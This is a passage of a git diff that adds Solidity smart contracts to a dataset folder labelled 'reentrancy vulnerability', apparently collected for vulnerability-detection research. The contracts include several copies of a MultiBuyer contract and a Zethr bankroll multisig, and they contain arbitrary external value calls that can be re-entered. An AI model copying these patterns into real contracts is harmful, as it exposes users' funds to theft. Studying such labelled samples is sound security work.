token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/1076.sol b/smart_contract_dataset/reentrancy vulnerability/1076.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/1076.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/1078.sol b/smart_contract_dataset/reentrancy vulnerability/1078.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/1078.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/1155.sol b/smart_contract_dataset/reentrancy vulnerability/1155.sol new file mode 100644 index 0000000000000000000000000000000000000000..6cbc8a547b870c5d399997727a5d39dbb9e92635 --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/1155.sol @@ -0,0 +1,834 @@ +pragma solidity ^0.4.24; + +/** + + https://fortisgames.com https://fortisgames.com https://fortisgames.com https://fortisgames.com https://fortisgames.com + + +FFFFFFFFFFFFFFFFFFFFFF tttt iiii +F::::::::::::::::::::F ttt:::t i::::i +F::::::::::::::::::::F t:::::t iiii +FF::::::FFFFFFFFF::::F t:::::t + F:::::F FFFFFFooooooooooo rrrrr rrrrrrrrr ttttttt:::::ttttttt iiiiiii ssssssssss + F:::::F oo:::::::::::oo r::::rrr:::::::::r t:::::::::::::::::t i:::::i ss::::::::::s + F::::::FFFFFFFFFFo:::::::::::::::or:::::::::::::::::r t:::::::::::::::::t i::::i ss:::::::::::::s + F:::::::::::::::Fo:::::ooooo:::::orr::::::rrrrr::::::rtttttt:::::::tttttt i::::i s::::::ssss:::::s + F:::::::::::::::Fo::::o o::::o r:::::r r:::::r t:::::t i::::i s:::::s ssssss + F::::::FFFFFFFFFFo::::o o::::o r:::::r rrrrrrr t:::::t i::::i s::::::s + F:::::F o::::o o::::o r:::::r t:::::t i::::i s::::::s + F:::::F o::::o o::::o r:::::r t:::::t tttttt i::::i ssssss s:::::s +FF:::::::FF o:::::ooooo:::::o r:::::r t::::::tttt:::::ti::::::is:::::ssss::::::s +F::::::::FF o:::::::::::::::o r:::::r tt::::::::::::::ti::::::is::::::::::::::s +F::::::::FF oo:::::::::::oo r:::::r tt:::::::::::tti::::::i s:::::::::::ss +FFFFFFFFFFF ooooooooooo rrrrrrr ttttttttttt iiiiiiii sssssssssss + +Discord: https://discord.gg/gDtTX62 + +An interactive, variable-dividend rate contract with an ICO-capped price floor and collectibles. + +Bankroll contract, containing tokens purchased from all dividend-card profit and ICO dividends. +Acts as token repository for games on the Zethr platform. + +**/ + +contract ZTHInterface { + function buyAndSetDivPercentage(address _referredBy, uint8 _divChoice, string providedUnhashedPass) public payable returns (uint); + function balanceOf(address who) public view returns (uint); + function transfer(address _to, uint _value) public returns (bool); + function transferFrom(address _from, address _toAddress, uint _amountOfTokens) public returns (bool); + function exit() public; + function sell(uint amountOfTokens) public; + function withdraw(address _recipient) public; +} + +contract ERC223Receiving { + function tokenFallback(address _from, uint _amountOfTokens, bytes _data) public returns (bool); +} + +contract ZethrBankroll is ERC223Receiving { + using SafeMath for uint; + + /*================================= + = EVENTS = + =================================*/ + + event Confirmation(address indexed sender, uint indexed transactionId); + event Revocation(address indexed sender, uint indexed transactionId); + event Submission(uint indexed transactionId); + event Execution(uint indexed transactionId); + event ExecutionFailure(uint indexed transactionId); + event Deposit(address indexed sender, uint value); + event OwnerAddition(address indexed owner); + event OwnerRemoval(address indexed owner); + event WhiteListAddition(address indexed contractAddress); + event WhiteListRemoval(address indexed contractAddress); + event RequirementChange(uint required); + event DevWithdraw(uint amountTotal, uint amountPerPerson); + event EtherLogged(uint amountReceived, address sender); + event BankrollInvest(uint amountReceived); + event DailyTokenAdmin(address gameContract); + event DailyTokensSent(address gameContract, uint tokens); + event DailyTokensReceived(address gameContract, uint tokens); + + /*================================= + = WITHDRAWAL CONSTANTS = + =================================*/ + + uint constant public MAX_OWNER_COUNT = 10; + uint constant public MAX_WITHDRAW_PCT_DAILY = 15; + uint constant public MAX_WITHDRAW_PCT_TX = 5; + uint constant internal resetTimer = 1 days; + + /*================================= + = ZTH INTERFACE = + =================================*/ + + address internal zethrAddress; + ZTHInterface public ZTHTKN; + + /*================================= + = VARIABLES = + =================================*/ + + mapping (uint => Transaction) public transactions; + mapping (uint => mapping (address => bool)) public confirmations; + mapping (address => bool) public isOwner; + mapping (address => bool) public isWhitelisted; + mapping (address => uint) public dailyTokensPerContract; + address internal divCardAddress; + address[] public owners; + address[] public whiteListedContracts; + uint public required; + uint public transactionCount; + uint internal dailyResetTime; + uint internal dailyTknLimit; + uint internal tknsDispensedToday; + bool internal reEntered = false; + + /*================================= + = CUSTOM CONSTRUCTS = + =================================*/ + + struct Transaction { + address destination; + uint value; + bytes data; + bool executed; + } + + struct TKN { + address sender; + uint value; + } + + /*================================= + = MODIFIERS = + =================================*/ + + modifier onlyWallet() { + if (msg.sender != address(this)) + revert(); + _; + } + + modifier contractIsNotWhiteListed(address contractAddress) { + if (isWhitelisted[contractAddress]) + revert(); + _; + } + + modifier contractIsWhiteListed(address contractAddress) { + if (!isWhitelisted[contractAddress]) + revert(); + _; + } + + modifier isAnOwner() { + address caller = msg.sender; + if (!isOwner[caller]) + revert(); + _; + } + + modifier ownerDoesNotExist(address owner) { + if (isOwner[owner]) + revert(); + _; + } + + modifier ownerExists(address owner) { + if (!isOwner[owner]) + revert(); + _; + } + + modifier transactionExists(uint transactionId) { + if (transactions[transactionId].destination == 0) + revert(); + _; + } + + modifier confirmed(uint transactionId, address owner) { + if (!confirmations[transactionId][owner]) + revert(); + _; + } + + modifier notConfirmed(uint transactionId, address owner) { + if (confirmations[transactionId][owner]) + revert(); + _; + } + + modifier notExecuted(uint transactionId) { + if (transactions[transactionId].executed) + revert(); + _; + } + + modifier notNull(address _address) { + if (_address == 0) + revert(); + _; + } + + modifier validRequirement(uint ownerCount, uint _required) { + if ( ownerCount > MAX_OWNER_COUNT + || _required > ownerCount + || _required == 0 + || ownerCount == 0) + revert(); + _; + } + + /*================================= + = LIST OF OWNERS = + =================================*/ + + /* + This list is for reference/identification purposes only, and comprises the eight core Zethr developers. + For game contracts to be listed, they must be approved by a majority (i.e. currently five) of the owners. + Contracts can be delisted in an emergency by a single owner. + + 0x4F4eBF556CFDc21c3424F85ff6572C77c514Fcae // Norsefire + 0x11e52c75998fe2E7928B191bfc5B25937Ca16741 // klob + 0x20C945800de43394F70D789874a4daC9cFA57451 // Etherguy + 0xef764BAC8a438E7E498c2E5fcCf0f174c3E3F8dB // blurr + 0x8537aa2911b193e5B377938A723D805bb0865670 // oguzhanox + 0x9D221b2100CbE5F05a0d2048E2556a6Df6f9a6C3 // Randall + 0x71009e9E4e5e68e77ECc7ef2f2E95cbD98c6E696 // cryptodude + 0xDa83156106c4dba7A26E9bF2Ca91E273350aa551 // TropicalRogue + */ + + + /*================================= + = PUBLIC FUNCTIONS = + =================================*/ + + /// @dev Contract constructor sets initial owners and required number of confirmations. + /// @param _owners List of initial owners. + /// @param _required Number of required confirmations. + constructor (address[] _owners, uint _required) + public + validRequirement(_owners.length, _required) + { + for (uint i=0; i<_owners.length; i++) { + if (isOwner[_owners[i]] || _owners[i] == 0) + revert(); + isOwner[_owners[i]] = true; + } + owners = _owners; + required = _required; + + dailyResetTime = now - (1 days); + } + + /** Testing only. + function exitAll() + public + { + uint tokenBalance = ZTHTKN.balanceOf(address(this)); + ZTHTKN.sell(tokenBalance - 1e18); + ZTHTKN.sell(1e18); + ZTHTKN.withdraw(address(0x0)); + } + **/ + + function addZethrAddresses(address _zethr, address _divcards) + public + isAnOwner + { + zethrAddress = _zethr; + divCardAddress = _divcards; + ZTHTKN = ZTHInterface(zethrAddress); + } + + /// @dev Fallback function allows Ether to be deposited. + function() + public + payable + { + + } + + uint NonICOBuyins; + + function deposit() + public + payable + { + NonICOBuyins = NonICOBuyins.add(msg.value); + } + + /// @dev Function to buy tokens with contract eth balance. + function buyTokens() + public + payable + isAnOwner + { + uint savings = address(this).balance; + if (savings > 0.01 ether) { + ZTHTKN.buyAndSetDivPercentage.value(savings)(address(0x0), 33, ""); + emit BankrollInvest(savings); + } + else { + emit EtherLogged(msg.value, msg.sender); + } + } + + function tokenFallback(address /*_from*/, uint /*_amountOfTokens*/, bytes /*_data*/) public returns (bool) { + // Nothing, for now. Just receives tokens. + } + + /// @dev Calculates if an amount of tokens exceeds the aggregate daily limit of 15% of contract + /// balance or 5% of the contract balance on its own. + function permissibleTokenWithdrawal(uint _toWithdraw) + public + returns(bool) + { + uint currentTime = now; + uint tokenBalance = ZTHTKN.balanceOf(address(this)); + uint maxPerTx = (tokenBalance.mul(MAX_WITHDRAW_PCT_TX)).div(100); + + require (_toWithdraw <= maxPerTx); + + if (currentTime - dailyResetTime >= resetTimer) + { + dailyResetTime = currentTime; + dailyTknLimit = (tokenBalance.mul(MAX_WITHDRAW_PCT_DAILY)).div(100); + tknsDispensedToday = _toWithdraw; + return true; + } + else + { + if (tknsDispensedToday.add(_toWithdraw) <= dailyTknLimit) + { + tknsDispensedToday += _toWithdraw; + return true; + } + else { return false; } + } + } + + /// @dev Allows us to set the daily Token Limit + function setDailyTokenLimit(uint limit) + public + isAnOwner + { + dailyTknLimit = limit; + } + + /// @dev Allows to add a new owner. Transaction has to be sent by wallet. + /// @param owner Address of new owner. + function addOwner(address owner) + public + onlyWallet + ownerDoesNotExist(owner) + notNull(owner) + validRequirement(owners.length + 1, required) + { + isOwner[owner] = true; + owners.push(owner); + emit OwnerAddition(owner); + } + + /// @dev Allows to remove an owner. Transaction has to be sent by wallet. + /// @param owner Address of owner. + function removeOwner(address owner) + public + onlyWallet + ownerExists(owner) + validRequirement(owners.length, required) + { + isOwner[owner] = false; + for (uint i=0; i owners.length) + changeRequirement(owners.length); + emit OwnerRemoval(owner); + } + + /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. + /// @param owner Address of owner to be replaced. + /// @param owner Address of new owner. + function replaceOwner(address owner, address newOwner) + public + onlyWallet + ownerExists(owner) + ownerDoesNotExist(newOwner) + { + for (uint i=0; i 0 ) + { + allocateTokens(_contract); + emit DailyTokenAdmin(_contract); + } + } + } + + // In the event that we want to manually take tokens back from a whitelisted contract, + // we can do so. + function retrieveTokens(address _contract, uint _amount) + public + isAnOwner + contractIsWhiteListed(_contract) + { + require(ZTHTKN.transferFrom(_contract, address(this), _amount)); + } + + // Dispenses daily amount of ZTH to whitelisted contract, or retrieves the excess. + // Block withdraws greater than MAX_WITHDRAW_PCT_TX of Zethr token balance. + // (May require occasional adjusting of the daily token allocation for contracts.) + function allocateTokens(address _contract) + public + isAnOwner + contractIsWhiteListed(_contract) + { + uint dailyAmount = dailyTokensPerContract[_contract]; + uint zthPresent = ZTHTKN.balanceOf(_contract); + + // Make sure that tokens aren't sent to a contract which is in the black. + if (zthPresent <= dailyAmount) + { + // We need to send tokens over, make sure it's a permitted amount, and then send. + uint toDispense = dailyAmount.sub(zthPresent); + + // Make sure amount is <= tokenbalance*MAX_WITHDRAW_PCT_TX + require(permissibleTokenWithdrawal(toDispense)); + + require(ZTHTKN.transfer(_contract, toDispense)); + emit DailyTokensSent(_contract, toDispense); + } else + { + // The contract in question has made a profit: retrieve the excess tokens. + uint toRetrieve = zthPresent.sub(dailyAmount); + require(ZTHTKN.transferFrom(_contract, address(this), toRetrieve)); + emit DailyTokensReceived(_contract, toRetrieve); + + } + emit DailyTokenAdmin(_contract); + } + + // Dev withdrawal of tokens - splits equally among all owners of contract + function devTokenWithdraw(uint amount) public + onlyWallet + { + require(permissibleTokenWithdrawal(amount)); + + uint amountPerPerson = SafeMath.div(amount, owners.length); + + for (uint i=0; i 0.01 ether) { + reEntered = true; + ZTHTKN.buyAndSetDivPercentage.value(ActualBalance)(address(0x0), 33, ""); + emit BankrollInvest(ActualBalance); + reEntered = false; + } + } + } + + // Use all available balance to buy in + function buyInWithAllBalanced() public payable isAnOwner { + if (!reEntered) { + uint balance = address(this).balance; + require (balance > 0.01 ether); + ZTHTKN.buyAndSetDivPercentage.value(balance)(address(0x0), 33, ""); + } + } + + /*================================= + = UTILITIES = + =================================*/ + + // Convert an hexadecimal character to their value + function fromHexChar(uint c) public pure returns (uint) { + if (byte(c) >= byte('0') && byte(c) <= byte('9')) { + return c - uint(byte('0')); + } + if (byte(c) >= byte('a') && byte(c) <= byte('f')) { + return 10 + c - uint(byte('a')); + } + if (byte(c) >= byte('A') && byte(c) <= byte('F')) { + return 10 + c - uint(byte('A')); + } + } + + // Convert an hexadecimal string to raw bytes + function fromHex(string s) public pure returns (bytes) { + bytes memory ss = bytes(s); + require(ss.length%2 == 0); // length must be even + bytes memory r = new bytes(ss.length/2); + for (uint i=0; i 0); // Solidity automatically throws when dividing by 0 + uint c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return c; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint a, uint b) internal pure returns (uint) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint a, uint b) internal pure returns (uint) { + uint c = a + b; + assert(c >= a); + return c; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/1421.sol b/smart_contract_dataset/reentrancy vulnerability/1421.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/1421.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, 